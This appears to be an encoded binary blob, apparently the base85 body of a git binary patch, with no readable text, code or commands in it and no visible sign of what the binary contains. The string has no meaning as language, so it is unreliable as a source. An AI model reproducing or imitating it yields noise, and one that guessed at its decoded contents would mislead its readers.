zOB7_Z;ZfXcZ&I7*r*>JAsW$(R+GZ=YSZbTC>|&{HwrUki?J3KzHfh`Og3Ue99eNEx z<@q=sJQ;u<+jm$)rX;Dk!1acT>c0s5XROhnR{9}VI;f(1;lKRrIY+hrC`sl3jo-z6 zZ9tkY9*=3~!@uKUVgvCQS$u-W7KQMMfCTkYKW)tm{pV{1swDsGImsu2@sG(zB-=&9 zBP$UDbv3e1e)~nX$ghfQ)xRp5J|ElbCdFociqAsvzs*Qi=jtg)KRqK^-CCnP^o(Rp zrXH0$7L@LY?*wm1%aGSvI81Cx5t;Br%pML6|4X9!=NtLKA$gVU(r;PjCFpAD`Mnj0aRP*()f;OLU{ z8{8nURTlG6^D0-3!Ed6;WzgVefEp1UXmA$*LD!<9^==ERm3_`_aHqkRGL{(z8=L_2 znu(`F=9Or0X2PKjiw39hpuuT8XmFfXN`t!{PJ{B%1l7_ceU)F7SAZ%FuB^!V4en{g zh;MM5arQT{{R)f*$7v?ZN<|+kA675+){ho6xRlay4elGH!MWOhHaN~(l}W8wgR?PH zM7Cn~miLSr; z(5Pu}!3s0l8mccVq53sX^*_vW=hn~@TVJ(CebxTFb`n(Ql~A3X>NSdz^IEK#WM1p5 z)~K)AR4bM8K^;thpy+HbU5xpDHMtB_sU}hBmxrf+_(rn2czPusFqew`21?-_6D_di z(_XGPxh>Io=^3xzd1r?Rj#o<)JeFIR6#j#3NQY-3J-p#3R;u8b=G9 zj21YiL`JWLHs57qg%{#h6UGSNZ2J{_v&=@p;rX>T4qNc&t*hgxYqX1Mb)dyYPb z#7bYHjX4OW;-9rViu-26bI-zs$?5aenYf#)kMUZuLk(Z`maQ0FI{BV+b43izCVgMK zQmW^?6iSDSHcd~z0Oy~2&a1BRwbRo-!x68Z^BRhhqBYagt4;!cehMFsF2{mTM<=VE zx69ji^m)ZT#IWGBMoKvew};hVJ#|Kdv7sw6Dt?f%0KBn*u=LJ(h_ltiDU?U!!!7sX z_|x#|py+8hRLGW`smtPk;{=?UQ4Jr5zv@NEt~EM?sq~wmO6~LfRSkcG?6;uKGP2eE z^iO)Sd%S7)70BnMMlPs7&C0?kTtWxS3~VClWks-wr13$j=`WdKH3LzKuP`nLML(K$ zo1}-b3gMsxg7Ycqp|;dLplqc*Z77W5;IU z)|i|}5wSsuh$p;=**69e2{U5aP`q-f@Y$(Qc?2?)rEHUR&{UOve|81HDvKIAW4X`_ zB71x2S}@qR=t@v=YclH)Hdq`1HchYfzv{LsZ8GC|xYL)lj~oFVqkH6Y`7Nxq>+eKg z&NKm)w6rHMQ;BJ7+yH&vs*t*6Rd^SU3n4#Ga@zC@@^h=nPf%Ldh+dQy zHR;mo(3FYM==jc_QdgNcReeJ~PSrTNtnzojHD|O1eQV|N zaa|U+me5mibtYXF0l&-AYqsGsYY3yu(s0y>@J zRzgvAWnZoQpdb(6LV3dBG2GA zTr?;#vRw!RRoWxC-=hg)g}Nh<{PaRc)%Yj4HCmSrRqaQ&K`ZJ%u^>T>!|x`OdQjXm zL5+wGq*Mrm17%wDCQB^>66O}7C_ap(uS%PS6^`r~z5%*a4(^RY5)9ljjVnTJ3E#MM;M64r)pE2|%XrE4G;*}n&bZ073wn&@Ihd>K^%}NrK1Fip zo8-Fs)}4steC6HWz-@d~gtm!QX`WrntPWLlT^o34y6duO?8iQU*pj34AFS*Z5MkBl zs0zHU#&y*J-df}RWW|vFqgAmiR&Jb~wuV-oGi~}AHkbc|M%@j6VO4n?b^D0;E(NnQ|E_Zhih<*^EK|F#xeovRmL{>nq6 z{>np74E}TF@$5*P%s?`sod~4#yTz|OJ^))~F(2o(wAFX`9cgkItUUezH6l7t@3sJu z30fhZD8a}EOMUJ=$`i?Khbs>Oxbhg7q)e5;%EL@+{FR5sgO!KIgO!I_(y6oRugsMb@njDi1Q#j`qBFLC^8tx>;P>sJ0>)jDNkVOZUZWEPvmFZbKt)1XQw z|IjN77<#lyzr(8HEiKZ@T@Y5=Ar(4+Kx)n>xI{Cnn=}Ha z;DE|#5uyU~lDDaHokWj2?_Z7`exsnr|Y#!Xfv z5@}8ZyKW1^s$7Y3s*-KW=^vJlt8?{w(Jv>B`sJjj-2YilnN={pA(flQ-4sU zoEGURX~}Y$Q8}!xg;Zz;0x75Q5Jd}@a+(5IWl_td$*x+B--#xTpqvuVLpg~Gl+y&N zLOCU0k0pT-jW4IFptGDR%5RTat$PJ>@#WMPbe2;$`IT~d8I$?SNXsv$3z@m-)v$UC zlTy$+mOxOtNUoYox|={mEdD1h{Z3=`If2!GL3edG(h983%%x=3$D5QO_cf_?(9e#Ce-Bi7 z_-fKM^h*+_!{kV|?i$d8--i;bY~lqa*0HK7v48M7tj^VL2EW8K>X(=q$o|74-*9JU zL|ubqPIS^GR?E-yEKnuWGv>>5UP`QBa-`Z8M3IqrU(c|**~G(fX!*02pFlhrc1rqG z!`PV7`7+x;*qG6{9)Q8GW%8}Jf#No1qVK^(T}^7i;^FdYaf^q4^>;Yo;{FaNY|fOK zNxc*H{T=+e;6lS4JN^90Tjah@D%shuScPETKq zm+g9fQCj0mjq~J-4DCEwY@8=w)TXX*(Y@0P#M$yyg(GmjVCq>=xqgD``L*$-bSxNp zk5WBPh3K}S$2B?=nNKj85BAjeGxMCG^P)QGOV}@ayU!%X?LKR?&^w7q$$#AF-h!n1 zT&V4|$+tXwI@AAAE2BKaEB&X*ZfFY;n@&%C7b2%qrt9C|lu$XTcZ!1(w zIppQJUeYF3!u3Cp2zN!GXRaJB8lLDCR@Z@azR?%>tEPe~eZW?4Jpo(beG z$Vuzqi*!;(1hhi{K1_Z*l+#B!Uj-kg#s{frg+*cYUVE)AXwy||#I-fi#=4w-{p&al zdSxZu&kavM+6srat~_6(gVOJ}acjYqt#ywIA3!&#o@Z1C=j_LMs(mj?Z&0)s1@;oB z9-Sv>)#B8n|3sX6X+Og~G99v^g$TrWyw}+h2TK;!zA>ki+Kk_hCecDuL#*Z7L5)aU zjNbEr$ojcIJ|nY-$ma+|VR!hjtg8^HEJk^G75q=R2`bwt44l|yL5)aUDE!D%c&Gth zhyo{6fIt-1qQcgqkWn7O*T;L|_hdV5@j&4aP$Lo-3h^Op$zj9F1K}_N@|lqj>ct{Z zrCxYP0vcWi*^QvSU}UTNPydo9+t2f3&Op&DFmiz()5=55EbbVCA5%NR0zan42dSpx z_J>qQM3MU8mu59kbZP392K<eki z9h{oIO=`gzh%0NFhVl=oVW=&Z8iv|psbQ!smRkH!`wr|8GpPm5@^z$E)jQ7puYNiV zwZ;5r7;208&oI<_{6G^?Oeo(}1jWJ8i@p~_W?n36GUnY6``I8B;HlzQbc7jwX{1D)kOR* zG#L&$h}ob%aqe5;9e0hnVTw^`;;i}4NJZdKNN;~Toes^}d9Y4~U7 zh+2kqf*n>2*AB%Wqa@F(=}0R_$U=#NVuz#hi%0 zTj|D$s8WW(InfZBY8(CCd=uOVs^mjECwTk}&WRhW46_2MNiXK5CK~qf;Er5`P^eb4CtZr&!-B>Mt(gl{ zh9r6w3YsJ|)p!q;avGn>IaPU1p3_I!X*(gofj+HnCoG7dC^QX$ zG?Ka~I#fD1gBwQj8v;?Sn9{c&xoQ=DCz^az^{v1+b|Rt!b{h*s#`{N6clnA=_%{T8 zZI+!JlJ&cOl3?H_-&%%-l-A5Q{?LYx+DetK3oSVaL<{Fe5^W6t&ke~{l!_igbGX1{ zFK|OHW^^_OI(GfNY=3d%yCJpTH*iC0Ja9wmm0G{*+C_>*Y|dS9;I-1F5|rRx$tZ?V zW>nmeRD_by-gTozMW5fR)JrCI&@dVocnt&I^>q;8Sm1frH6FMjH6FMjo6l!26SyH$ zc72Gm6wtWDq*KE$Grr~`b!Vi+!5jN|c39mBsu-F6S-;~kzDwQlXov45c=QX5(xBr> ztY<7uA>ZS2&M|9rJjNBPozm!dG#+$38V@=i?>J1uJ*~0jjYMjjq=Sy9KB)3MRlJVp zR`_s#ZK+EquoZbUek}yy$p}xp~p?7&os<*_|B56?|}88T~=WbJEMl zBCPt*_Dgg;^fT`>(Ta6EuY z9S?I6-|=W19Z&z#VKoeK%NvbBwVeQ}81N~bag}l@&IR2CYFdkPJD$CsEdA5PI-V*i z|JCuF4+-gb!WTr;At(x+Mj#EkOnk>vUOFD8bfk4DmC+zU{oGvVBj|YedRIhrz;54B zSJ5Dq))hM!e4i^k4uM~rrQ;!4zZNSA1{)b$%g~V0@$ltX^d5jPZ1BiGV>kV%8AktC| zKZC#iR#4j;Z9(f=1gcbyh*=jmT#h}tji6>3*<3&6mpoZ-PcCIcfl^;i9~@wL;dPs0QfJBS4jbq=fM zU%0C=pT;BR9e*K7B{l!SsRGTH5ZS*R19qbXH3{A8NM zY{d*zJsnct;P-K3iQpZpQ=mqeHoJfu<#&+!$YM^~CBW^3$9dC43bx53%mE@ORj>#b zlQ;i0!iPb_@3~>Ot?D$>=B{Cirui4mHbPD09q>>KBHQG*uxHnlBwx0Sk!`WG>dlbN z7yzECHG8?OE->24c@p$7;Pv60|Rk2klGmn)IvQ0uCSPZGO$hrXQ4t#v_oj z<#xzFx3352CCXw}R1z+u#c!&~XwbekfEp2nc>YU)uzd}YU$n35+v3`LAYS`wOpVd1 zcZb!%Cc039M{dy6JaVyZ3VGz>yQCNmyvcyeY*>Nz0(BU59;4#>j? zpbjzGf-dDNP^C+`U-FALG9qO#GBit27Z_Qu-df8`gDSG#erU?3hB(*&YB?iY)6`09 zc^6Ms?>!7pvJN@w;;$qAiN}0{9aQexDH_G(xr5Qe&~6 zECL-3v=LqKXwB8}Wk>vC@%kxreh{yr6W5w8hSZ?8PMpTJ7;+(Di&2#GdR9a=O2v;@GeM!IG+_sjHEQ2qC%q>6BRLaN9huuz`*O{u{d`=lIt==Z1w*Py4uA_0|Ny`a0(>T)Eh;%YcI&J;@ zPeMB3;mt8NLTPw`jZc*TKsgRp;bm2IWWBEwUe;8jJygR`CDd=kJk?O!qq?te6{zy` zGZ#p;Lw}BR>l?WpzFd=5raDQwJRciu@tm!p6Y3~?uszRSs8PLd((~{0BnnT@%4yiY z8}R%prvjBG{}@p{LsqE0W2s7a?#EHth!yGqq`aJ?O|;TnBpWKa6kk+BU5g$@GySE3 zeuUP3)^20g=znEJkY-wGuh&eEMp`rHelz_((p2MUre*I5t26brw%>ehg%|wOgG%xB z>}~lcfn~`9LI?eDo2Dnp!}YOJ^wX_1PuI_i1W$Ll72(s_r;#OD!1o+zWk!%7+Fp4% z8a&8KClmR-dL(kD?QpeK`lt}`W@B_64xjHbxeglBGUobUwzcNg(EC{a;d71phtJIr zt75gVymg4>bbx8Lm_&k}{v#wJ{ndj2Jijtw&Rn7+5T~7qGs!pSRjp0NWb=%@o&a=V z$tIY%u<%m0&O}GOlEh2d8ZY!;%9dEDL;g$IoDi@Q`7dSb7=gbxEI?1Nk!U#$-UUR_?5j_?(eX=*5onjGbWn1ha`Kkx#?0v zA{FGfM}()OIpC<8r%;)D80$sNBgtNDI{HG{i%k*$d$IjKOYlWgjHv9zP6b2uV#f%e zZ!%ejGurnfyWuqmq|&d%)8Y0A*l?W5qgSfda<^UF5U00MxDg}AoeAh64sU4a?HMy* zhL69cU$m>6h0m>6gr$DMENXQ`Rc z8omR8Jm+~!_?$l>{k`Ywx)KcKCrhT!?U8eiTVp8KnEMmPKO=y5+Lu@0 z<6fg=S87tKRrmTuUdLKTG*gDt%+fkbNRVmSKcqbon!)xkf?*fs3 z*7B^5I84t=q{-H9cgY2J7|;z&lND0^m#u1tu`7W~vZjp&(r5;R<=Q=*F`1^P9rbrw z6}WGJ4ryBXE9={;{+m{5ZqA^qnpVE;`UF+~EswBmTKO}lF(cgNMR{{t`DSAhRsFX; zi9OTGf8;u<{yQFFt-dmBUcP>SzB>P^{(dW~_eJO&d1Y9*=*Tp4XV{@>=FYGK)8x*u z%_d&4-jR2Pg^OlPmrKKVla$;V7B2dEno{+4;%%}XwRLKqTcdtLsPqD+b_Pu8B##NO z2r2}aH(k}^ZeMFtyrsQtp0TpNV?=%D7%mdicaA-%?;P{Qi}kMh&M~~3qwgHsG#$M* zGd0EN_A_QPAkfvRo0Hzs zalW_?4SNe3_BNAd(C0)tnTAd6Uc+XR(y&LQqtHYG4V!ZgoglVGS74>B+b_08IiJUQ z1tc)SBoORStVML0@XDm$TTRP=9vqv;4h7kq{d39M5<3(c4|XUt9_&zf$L6Co_bJuD zBpaAH(m8I|q1dhtb{&fC>R{KQ*sczC9n7wdO8M&(?3qJTL9Q;VU?=cuP^GN6n^Vjo zzZ3c41mfR!0{26LE{(LZaP`fHqVQt~q>O1}DPxjTiRs=a*m>JphL#Y&`HIEtaZ)B% z2&)evzNMPZ78as7}cpdaFObMMFW1N8J7IQpSakQupdPWmBz-yHfOecv4VA#O;V zHSxTD-@k88`XOF8C;gD@Q0RW>uFDhE(j1+d-{jE`rNdy6H^7vB=mi1L4?Q6O`yp=P z&8T52gO^S8L*p1x-&cozNZ(h7eu(dkc;cQ@HtxPU^h5f-I_Za)sr5#;pDFf3%nuIId0r{+|HhnPH-2pa zTz8}6rgL;WzNxs5G^ZW9bV!GqA&_YShjctW-VnVklvNvu%A&eI{%5KF_-$WBXZRX_ z1E$Bts43LJlcbSa0?e3RkGn@}jj(CID*cL3s}zb~3MOl0Exw)MNnz$AfAy|v7r6%X za1kmT-_-B~=!Yj~nw-Q>%r`eltmd0B%U8&%Z10dLX2 zYqIAJsLWmgvX?OrOjVO2&5dmvFcSVKqS?5Ve1lSBAf9H_1ZBwAMx+d{KF9tWpE$?< zc2lewAsyO`KoZ_r~n&cfI{g#Up!3%#AM~Er>|XPW(Mo{y6*MEb7hLUP`rrn(pW6vJDomx5g`vNP1|l zKQdh`G5^3X4H~g2#w8~Afz}x6e4fmGV0YPf9-!lAVYB(qP!*Wp*U?R0!( zG0~4dj;Ocsd${ts)$Ns@s6W&p)$M)(P~Eth(m7iT$5*$TDE=InQr-BHi6<3b-AaQl z)r~Klcml<$8{asQ>c&@2q`L8)6HnB8R#rFt&Pk!XbK+OG+i*kJ7?ZvD>h=J#m$8)B zht;IWCq|@LbrZHq8;9ZQU5JOiMxbqnQ7^C^5S2yiBwbrd*_R}!X<6sm?hL3A>JZy~ zAOLK~U70V9aJ=odQ2cQ)#ddsE#FL7*-E7dsc6@Eb6DVdozBeMaSS&GtB zJEO^=YxcX_ryoD3sWz_|R`MQEe?$@c^HMSEB<)^EHM0wn)F}M&;W8+h!K$Fr)`zi} z1Qfalfkfn?0jr`!r11SUac@6R(4&~#lu0T}VT`%nhD-U~Q*kD|TvF%;>_*EJ zc{);U%`~`|!q^tKmsDCkMC=B7Xb1v%4DM_-roTLtXjM5o26kx0h_}7qs=4@`WwIVD z)0cu85gpi}?hAzbxb8UYG1z4FX$5E_fPMIv6jlIe{QcEfn|u*Ek6ypVzu}rNAPtBp zhfx<<4VY)aynG}3q4W%ZnWkV@$UB@-b&tCB9B?|daK`ywM;6)=aQq`ge2 z*G`urO20Qz-a=xFk);6$Z79k%=AB5u$2V|hE(HM zW5b9o`(&Y_i_3pk4eqxDyRv>xY$Cjf^j4bmut_9;*7B#A9&e=(&Adp5fbOGi3L7h# zKI*2h*~ByM%bUUtwDyk5o#kL(mC91O0y+kuzex+N+@w|MGNe_pK5ixFzGTb*((<+- z0;*X0y6Z}*P;D>M>6-!lJsfoFK2ytdg(zTUb2C+$t(e5(Hc@pIqrJMWpn`)v#} z7-K9mgE7`IF_y_NmLVaEQI?S<`4mDz%%DP2nFwjJWJ!opN{f?=e-G}|{4 zL0PG#*}kh0EYL}zwbxN9dr&nU?9XeS*@Nn7#{HE4J1oW41DkkZKE};zC&aSAO7G;( zfp;9Xy3KBI9Z=}QEHEC4eyoO0bdiggTI#>bqR(O|PnudiDq(8}|V_rZ3u&>>^(s$+lMNkxsZk7r;m#8}oTed**it z%LW?TYgP7WUqej*xeI)N^t>eLF0IAfFKxP}r8?-Emg?2M|78pu-xpSZ zkAaQn0504Ek|!gK@wBtY33#oNDIL34M5*s_UoNR^?n>=EVr`~@KK2;|sE-X)z8{-i z1oj#icFIu65wCGputW+E5VF9@q9tdKIxJIJaP}ysiWoE8--RCp~a3NcXQJEXOLx~ z0}$e;jtmNst1k1L@I-X>AW#76eIj^1;PBiS z#`Euu|3{wHK;Su0KN=UF&uSx_#wm=a{eR_IYXf#Yg8H}!p0_zXXNU2u43z(iYyf&IMh1| zjKQG}qt)34B6kQ8Gw3-AB4L9b+BLwdob;fF30P&-dkM@cs}7r0Rvj)>sW~(a_XC*C z5N4(gs6J98JM#u(kx0+f9>gEo0Q*lscrtO}_I4Vitnvt}$sf_G6YgE{Pa+@{Tb=mC zm3h@Q5qxe2fZjIog2Sgr4xtjC?3bG3d?W-02%agWhY-u{U;{2*z*cKvt5*=)LSRiP zz30Hj3vBGYEwMMLRzF+)7|=y(_9ivDT8e5n62yCxa^X-*Zz251&LdjXd$L{8QM_$2)8#eaX**aX1_~T9Z z2;FPD-i-s}!R{zjM)ml%sxH3lA=Pa4GhinO1>=b! zFiON)Z7IX*5e+;sTmlsC5szaxQ?B3{-Mkif+{c%*F=Rm_y%WUU&7_0wZYF0VNb2eF z*v&+t^cBcnrZ6!&`4E_}u1vrKsyAE7(lhr_&j9C1zb?)jU6HgJ?Ia9z-5o1t8;P@< zNhhK}ch%U}L8G3E3bCF^L~T388^1!MVGcG!kmm zYuMN^g+ONG!ZnIFcH}gG?eQ{1VJxGMm^cJ<6-a%+tELDKQwrw+=(Z3Q?)QM%Y{)(g zn9YXl!+_bWvkxPEH24e?KIXfx{TRs$!KFoiz^dY!%?dGmQvtbIL?YJ#*(9=}%_8`A z({!X6!?&Bzb-&$o7y^F_e3BvremFRhuE2$;@>|$M@jE~st)f-N46!4nr`+qJ1l*kt*;D5>_M-<|A(<=vU-=aEMo|h2$E#<~;#hi~=Zosva-5nWmEOh!t z;~g1V=&;2+Fw{~Tfip)anesa6P@hLM*4&qm>=);&gTKYP;S>y@5pe|CnW|?tm%~+=gyW2ROLDGb}3m#lw`Ej9AZd zTrhLiTG4JAJY=b1lVvsHIy|7#Pgk{fcxuvX1ZGg6A%Uo5qB{Igw0a$PB|K@$iGEhu zSLG76nJHPh;5Axvdm-N;-S|6k=<&4};>753s)hL>P3c?2@**F-4&TMYA{nxhn#L2w zF+=A0R9t^gy-!PEKVN#Rcme_~MgT31cJp{kj})ho0l2sHP;naBiF->A6sx5cZ7JFj ztN9k-7I%fGzFmSyn%c8x@&ndhZ{!Com5t&DY%HODMYN#1)H(`kzY7Uk6ySy5=GZDi zQ+!Qur>5IZZ#-P&iwN?y1R%^@#JV|!f@RPar#A$w zwt&U8@iex}@B*r2-_7?T%&}dKjY$)LkJ3Z?ZF?G;{Z6*0{9w2v70d2OTSZm zC1tt!KT^c>I%1d7=8{{jtVwke03@4|Ag@f?qH)<#*_#5ADJrK)PH-xawOkt$+DKW=f@JYTG zDF1Al`3BCr9xeWBz=D2OS(gbSetNC9da$wriQKY8tHuNI{F}9@aBwr_yL>5cpHq~oKe^)Mm-XxvD|$S*qpJG zxZR1D+(69X2Q&~<_<=TO&|aoRK8@%sxn*H9B-T`-}{&{mo zt(MYquo*m739w{FiF#6KyNROB8I&L@aY_$u&YOI1#R6ANNx^jCW6~y60Ft~-8x_&rP+st4Hq=6tv6iA)}XD}8uSa0 zHd$IK-?|*8PZaH=*AZKTr1HlDNOl5I<)?iiXN8i}=TPPEgLrCj%RddWmgLSE1Gu|$ z(4p%zBVCWy9B}H>vq6!zKFWcSC1T`LXDb# z?&C^rMqshv8Oytu5zB2x$mW-)t=h8rMfv>?V&4OxZv96mGTKdKzZ(R%3+8O7pXBZQ zUCyTeXC1X1Pn7U}{w`-P(qXvJ=bbfYyXo+@l2)}b*6DICK!i{MTKzaHN_9Ce(`G$d z9sb0py8JD{o+|bzwgg_0)j+9{fS-;(%k<<#EK-uMLf`v#U9u=vfxp|LLzd*4Vtff0 zQ6o@{eu$`oVx(6g#dvn7F2?tP{H4QkG8H3%s$?SC1hZ(q$(SNOA6|?#5o;4F72~IT zM=|!NVmydq+$ad982bZ(i;<{1#Yj}R80TX%(L@Ah37#p&#far%4B3B#VwC+y%0GDx z_CEn?>bdY@Oq?RPmBNbg(CW}))L~PMI((tU7kr^1xZNTh;GC#K@kp;sZL z^Y;#2I+KAs7k^fWAyhg9s*;K5FtoKBaNqoAc`0Igl#&xSS1CNr!Ov?i_D1hRm$S8!UmDIE+P@8W-ayc^iN={KdO$3fBFdD+rlu*v4u*RyIa?QZ}X zo-p$jRBfxnMJl@khE~%+WP3z%Zb2*y`b8|_P!i&=zr5q? z{|Gis2x3D!w~v{>Bx-*MXN$Rg%={%ohkq)rKDvG-mHAs5?Wl-u4Kl5cVRb+A_oM+t z5?>p!xp?SFz6~lXY`V8+fH^YY10gz;>nDuG)lZdAQ z4V-DN1l%^E;g_s~#+yWA6W*yzf=CwOv@sC+E$oO;)-8oVJ$Y@F)xSyfgZ73eG;4^- z-FvEQKN>i=VKH#(3XajK%Y$*CQ|uqo8K3);L1+pf&YaP5cg6%(*=odc;p@}P+<5`b zt_YNPUO*pihBeSDvMn`TsF-%>JLZmF!dr1WM6W{HArGoPb@qP&Id-}zS{`beMW8B~ zh|U-rtD50m-tRi$7;5kjUx|pd36CBjRi1zc@Oais#Ady0CiN7ZarU7{4X@LvVZLR5YJH(zA@(6QwUmQMxdvE-c z2qB5K0jkvJAdJ{c>p~*$LL&2ptC7e;K(R#n;lXK#=$RXVPqFuSIR&=iqI30jP_FQ- za*4u6hb{Fs?nx23qMdd&lR&Q4Ai%kLH41Ga1?-tlt~6bpE25i6m_H7Sh99#iRUiK( zLP(+wdMb4V<*HW@vL%* z!uNj6f8k#CYj{~biCCLSAXhgcK)FhtOsR^08=oJw)_T<M| z*&BM=s`||spGDx+M=WdKdZ%&zu)D2VAlB0z7tX=5;KunrZk!2i7`lXUxDOJdrg5Hu zSet1e3+)h~ECf0t;b{V!}wp{j3p9chYgTbSLy_#_|jAPUr>AW;xx74u^Fob3okbPS#Ocs5@DVhjP1<&mDn_hl2QIvpM5|b=PXxm!+9bT>sYS7E*)7{ko>mm#PvC_8o_f6irjm*BO6;fp z822}R(&ezx!F@q87nScvtY+7(dxtS{pp*1eRa0mC5Lex~02N7#C z4OEmO1h}G1Mn$>xN1fFgl1i&Ae-1K3n^R~DA6IpnKX6Y<)62z=N2T%BK}@ys+L!n7 zsEc*Pk`mT$?-NmRwB?YtKJ%U+MARpj-QLm#CF}yi`&5*NHWX?r@~5K`l1o^cV@^tv zZWrnAMSSAg2{5YJ6BVz43KD4>lK1(j1kDs%HfdvIlw>?zFugBC#n~_51^QH+&>5x1 zzRrQd%#S-@3!*?f<ZH3C-2iyP3=GMf@gxh=ZCc=mk~7w zw3_h7CQv^lnM4#-COK(&!x6OuflZ)?5YL*kpC2&Eyjx-blwN}ElM@9C6FU5}$|iuU z-aa`+oMYl6|8aoci5C|OxLMtM7_qES|Dw}HmC>j-yWVvIPeBddKCRWj7)Mu|8?@f0 z_e#=^E#5Xj4_Xgkw5<1W$NoDqT2>j z&u$(qj!*jQZD!4*vt+wn{!Af!u@KhV%vweVZ8OVUht=U9bUxwUQ>58;Ud8-tL^mV; zR6u&4TS9b-ju1B>*$L4tDFxor9VPkWh4#B4NvQ24p@04w0T?L&db?*zw3i%*V7n)x z1H+NXD^BS|9u_#OY~z1P;rCh+7r9B>K}n0)70At0h`TZIgu-be-&^7eMK8?bgd*8v z=eipU#6O75Gs4bv+&^$aVOB=O*)=E;!ZMzA4JuUNCcXiRO|a3K^Uo@~>{iE!6s|#I z0fOqsDZ)WpEp=FLuR*x84jb2?4|8=ju0eCE)q(#tP}Fm`$F2Hu{-HKy&&OMp9n%Q& zo`7i~X)zy2>k!M$z{k27Q2r)>-AgGHSf`P*%HE8C?T3;(h1g>!b%7YVHE$ETdS{{g z;iW}Wgdrk-cHQs(k@y~V zbKc6y`K6TeQONl`fTl#`{BDOa!G-30NGnUdenQLIob3$@*PE0uGcOq3;fG8F`Q|A2;%jrEHmh(A4;WB^VA>@1!ay|>7MMA)o z`R#~hZ6~X=kzKh=l`LczmA+=D)dawqZdie3CYPhG2xuQi&QlNM4I4bxFwK}SWd6r zQ7pD_Gp*WsNAYMCyLBUSegrw61W;c@&SyJ}2`)6}!!W>k_8Tp0lk)?NfSi9_an9*g zNX~mu&QBxf4+}k$bL$StIUzYYCnlWpkC3YRfS4nACg-_`<@D-(%_ir60|iFcI1Y9L za{e!JJ|3V~3jtH+H#v+6E;Q${nU<;YpBsz*f5TO*d!tM_=DoL7dhxXj}z=a(Yq!vWePBIo}>Ea#lyLUTS6hCQEt zrDbij{YgeZ&JRcA-0jclRY;kCNI4&joWCygOwNCF5Ag0%g&Skl9t{+A}tsgTN4koo0H zok^n)a}mo@A-GVf_#5NwUqLWZd4mxkm3JzZ3cU)E%1)BXOi1Nkp=YELb+;sdkQ}KH z6PC)$NL3mjj((vNZlp2{v7FxKVN&@HC?Qhmvs8&xmbg+m{{Wl*~YNaYJgfK=Y7SSs`?L@IZZR33m-MhHD4l{!mADum=ng_y8Znyyx= z10X&*uBCE|(m$(g3Sv3EXWk@cQcIvKeSv~nVsvHJ50ykJa~!Fpj-v$aMS@-v!X`o6 zoCIBm=^~w=k#Y1)2};c;#4mxkI|A`*2XPrj&kiCzGhzxM`ZjpgrU=B8QW3$TAVhj5 z#Ms04qX74z051X9LP0hKSm+=VTxbD~NduA~m}YK0BcK3ZjVM63nWI-B&D@_?BlQ_b zefx;if8r#7kemV}CX{-=U8dAI1fDz=UVz#6NC6%UE5If|2`Rw4Q0ZxAE!I29DZoG< zq~-6=HBI9_aSdqlH}B$s7u!fu<9VJUUK#C^`%m1WDCPz==8w*-amu`VAp-(-Ap#feWH#Ca-X=5A>cl-^|wAX zMHpQwjL3cBWU#Vtz)PAz9f3Q~gAL#Z%%FC7!l#xBS~Ef8tv@sHg4W8e<$Hg-i0=iM zu{-maPn{5yfWxV+UCU0`DIR%Z_yO({Z<=U8ohfSGyR`x@cyjM9e$eg{(~LlD6!V!A#nTds*Y%ZSLBNrbq?81@f<->9RJnbqj&q zAk;*eFv6^Lu+3f5G27gQuDi`$hq2AQ$wsd_E__UTuqQZ?uCG8LsV5e*N*#2Mqa;Y0e2s6h z(W80+-!l{!J>v~|8#n#AMEsisTb1CRBCO38xrK5-VAUWeT^% zYNEphwaHO{cdpg(iKjg(zol?-Cd=5+(K`=2+>lgiB~@T467$F>TC^rHOPs`zsZ?ZQ zD3-qcX|0A5qr(*^X5cC$=4Ig$k(eSd(}`IRNoNVz&8}q5;XSvlLz|$I&D z8PvAwpxd?*WN_Q6#e}x?Bd|LBvCj8Um(`G!U`0k}{z{YbmE?nX0Y(~9v z=f|kj<9Mx-DIKj=#j4wI?;)vd?&f?sVr`~@HLuGNpr$1-9Xa~!s4kjoTv-1qCrAIq z+zXc3VyvZSm0_8!!^SdOa_3rRleHJRH|6gSJFRA5GF4cc+HeD6xjmi9u+%oPW%dkU z&}efdh6qr>Ofm#pCfJoE;bfUj)?cjP+3z0qs3o9wwLqE1{sD(a`s+jto3mPci)p z2Fq-nw<4k$`#z1;_Mr6MmSmgkEkv@pwcLk_0QteduSX8$g|ZrdS4*`22zb}x!m6~L z>&r3F8Y#5QvR6!5Q2(pjOtSsrW{Mtkn+c!5Vn(K$DY*C7VQHq|-d~5Y?A72Q^z%ow zs12V<|4)3dycWU-%WENgu)OB*NxvF=jtd_nn~mVZgAsyr`+1E7;jEbDQI8YI9$Z*B z^8lxEo*QDRZjKlPUEfeC((B22QW!-SZ6L(_6t~LOA*UDow|Z_2)=j* zoT#F@Z}2wwaxB^Sz!%TmL!&67ZFO45EiEfaoH*F4x^ME<{236aGKqi9LU^+iE=Zj6 zVXW%D#arVDxRP4tzy6_S`>v>5;^uFF@vJvMJWz8IKR;Djb$`KIjWD2PXd}4N9*yvjr}iPfPDse zV|D;Sw4Qu0lh%_VpaT%B_1X|nYyGqlmI};A$v*ah&h28!tyMN(Cwsa|nQWy{9-!@5 zn3_T1Rytgy{QnHa{vW(tB>0V8{6mQ4Lelnc?sAJZUG$F!C_kKgfD#oq$d zs(|s-#)Y%Cm2#C!c+WisFSWQQ3h9eo(%lhjGaAV$da$JiBE~Ze7p6gWk1CI#ewtND zO~8FB{z(LcLtPJEYO8w(;b2z;?FfNvL@W#B;rFya(r=n)snhRk)iPf&?*NWX72|4q z>u;Sy)dw3kI|KGe1nl1~Y&CB^2iAY;78nMu!zU0vgXnkC&ENHiPKJe1{ z_`_50zPY*?@E=`bsoi)pLExLY@Gm=Q`xv%~l;`Y^kfyH?OP_P}Gcx+wfu(#9tiK-e z9QPo~_8kpdhUSrenAJgSP@Wf3j{c+Ka${Od1~P39#^4!3$cu@0vWSQoDy~aRHAe`E zbnHl6*BH*Tw{#7mj8}2JV&XmnUy_^3u8l0-174dX1tzs?f>Xdbo4L?Z&m(q81nlb$ z>^LW9Tko>eNyO#}EbUaFpH=pU1G|Vd3hTR9!6dZh`Y5&ckd^}W7xT|5n}k?4L!#Fe znuKDkGa+u2r`8Anu>mML1F`?yT_X0M$ZO&czrf^kjHfCIj9T}2YmiqJ1Ie=t7p^L; zkS6S29j7|Kn32I%kCHI`-Wc^1?hi@=&7{)-#M(>(BgO>?(1_7r87lBC0s{ozWWMc& zpkhV3wc@t*r06u|Wsn8vd_k)va)@i^X=oSW1xmpl$oC?<2j9^}`I~{;6`-pG?J`$< z2ZFg#52)E)=V_>Q26HB4FcePFQ=AC=NuPqeAPCiGl437)Bz1AvF| znqypfc@|q)GIs4%-UKqE1aE|4R=LVsUxy1+d}ml^76I2Y5f?6Dvc#IMN)Kwr|8PL2ciN@*?}j=LJLN`;C1g6$62n7RC|E}s@ 